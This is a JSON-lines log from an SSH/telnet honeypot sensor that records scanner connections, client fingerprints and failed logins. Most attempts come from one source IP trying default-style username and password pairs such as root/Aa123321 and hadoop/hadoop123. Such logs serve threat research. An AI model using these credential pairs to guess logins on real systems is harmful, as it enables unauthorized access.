{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38220,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2c62ea93654","protocol":"ssh","message":"New connection: 172.237.20.62:38220 (159.203.135.109:22) [session: e2c62ea93654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:30.331255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:30.338318Z","src_ip":"172.237.20.62","session":"e2c62ea93654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:30.502106Z","src_ip":"172.237.20.62","session":"e2c62ea93654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:31.002016Z","src_ip":"172.237.20.62","session":"e2c62ea93654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:32.189396Z","src_ip":"172.237.20.62","session":"e2c62ea93654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":37854,"dst_ip":"159.203.135.109","dst_port":22,"session":"11ac4511896b","protocol":"ssh","message":"New connection: 172.237.20.62:37854 (159.203.135.109:22) [session: 11ac4511896b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:41.353529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:41.358546Z","src_ip":"172.237.20.62","session":"11ac4511896b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:41.524646Z","src_ip":"172.237.20.62","session":"11ac4511896b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:42.014195Z","src_ip":"172.237.20.62","session":"11ac4511896b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:43.180624Z","src_ip":"172.237.20.62","session":"11ac4511896b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":46118,"dst_ip":"10.17.0.5","dst_port":23,"session":"c154ab2f3a60","protocol":"telnet","message":"New connection: 180.235.129.180:46118 (10.17.0.5:23) [session: c154ab2f3a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:44.822630Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54852,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a48f8f54ad8","protocol":"ssh","message":"New connection: 172.237.20.62:54852 (159.203.135.109:22) [session: 6a48f8f54ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:52.256415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:52.261596Z","src_ip":"172.237.20.62","session":"6a48f8f54ad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:52.424526Z","src_ip":"172.237.20.62","session":"6a48f8f54ad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:52.912552Z","src_ip":"172.237.20.62","session":"6a48f8f54ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:54.078849Z","src_ip":"172.237.20.62","session":"6a48f8f54ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":60558,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2d5aed6e3de","protocol":"ssh","message":"New connection: 172.237.20.62:60558 (159.203.135.109:22) [session: a2d5aed6e3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:03.095902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:03.100826Z","src_ip":"172.237.20.62","session":"a2d5aed6e3de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:03.262925Z","src_ip":"172.237.20.62","session":"a2d5aed6e3de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:03.746686Z","src_ip":"172.237.20.62","session":"a2d5aed6e3de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:04.912344Z","src_ip":"172.237.20.62","session":"a2d5aed6e3de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":39268,"dst_ip":"159.203.135.109","dst_port":22,"session":"07499df1417f","protocol":"ssh","message":"New connection: 172.237.20.62:39268 (159.203.135.109:22) [session: 07499df1417f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:14.012290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:14.017354Z","src_ip":"172.237.20.62","session":"07499df1417f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:14.180508Z","src_ip":"172.237.20.62","session":"07499df1417f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:14.674210Z","src_ip":"172.237.20.62","session":"07499df1417f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:15.841297Z","src_ip":"172.237.20.62","session":"07499df1417f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50108,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b2a6997fd7f","protocol":"ssh","message":"New connection: 172.237.20.62:50108 (159.203.135.109:22) [session: 2b2a6997fd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:24.738393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:24.743518Z","src_ip":"172.237.20.62","session":"2b2a6997fd7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:24.906141Z","src_ip":"172.237.20.62","session":"2b2a6997fd7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:25.395752Z","src_ip":"172.237.20.62","session":"2b2a6997fd7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:26.563157Z","src_ip":"172.237.20.62","session":"2b2a6997fd7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57588,"dst_ip":"159.203.135.109","dst_port":22,"session":"f630196cdb95","protocol":"ssh","message":"New connection: 89.144.211.139:57588 (159.203.135.109:22) [session: f630196cdb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:28.780296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:28.789719Z","src_ip":"89.144.211.139","session":"f630196cdb95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:28.917325Z","src_ip":"89.144.211.139","session":"f630196cdb95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"1234567890","message":"login attempt [test2/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:29.441314Z","src_ip":"89.144.211.139","session":"f630196cdb95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:30.580640Z","src_ip":"89.144.211.139","session":"f630196cdb95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.117.118.196","src_port":51206,"dst_ip":"10.17.0.5","dst_port":22,"session":"83bd29ad2593","protocol":"ssh","message":"New connection: 185.117.118.196:51206 (10.17.0.5:22) [session: 83bd29ad2593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:32.111440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:32.116482Z","src_ip":"185.117.118.196","session":"83bd29ad2593","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:32.217981Z","src_ip":"185.117.118.196","session":"83bd29ad2593","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:76:17:dc:37:57:57:04:e0:f3:17:b6:99:cb:3a:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkQW+HVKNejwJMj23UB8eNsQf64atIKuHap+F4hHl7arl/YvMvqFJCiUOTEiKgQuIyk8d8zr7ROJBcj9CIkEf9QgvLh3naBm1NpfCTzAfV49FrN3Qsxd1Stqcuf8mLOA+oolxTbLRiASmv7UoB3FZhj9m87sjIOATz0y3z5vtR3QzLgj6sbecLp60fSBZ3eaFi4nf/13rpAPnscloIfPkXGFSg1G1tfE3LFNYuzQqPh5M5QIm9EuXrE0X4XI2zPS3RnLc5ZBevnpTz/cLy3sB53iToVZ3g1zAejBb1qX9gQZIV9G7uxAE4DnJvQHudoTOZpxZRkKVWHZpwPRQxs4CV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:76:17:dc:37:57:57:04:e0:f3:17:b6:99:cb:3a:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:32.702013Z","src_ip":"185.117.118.196","session":"83bd29ad2593","protocol":"ssh"}
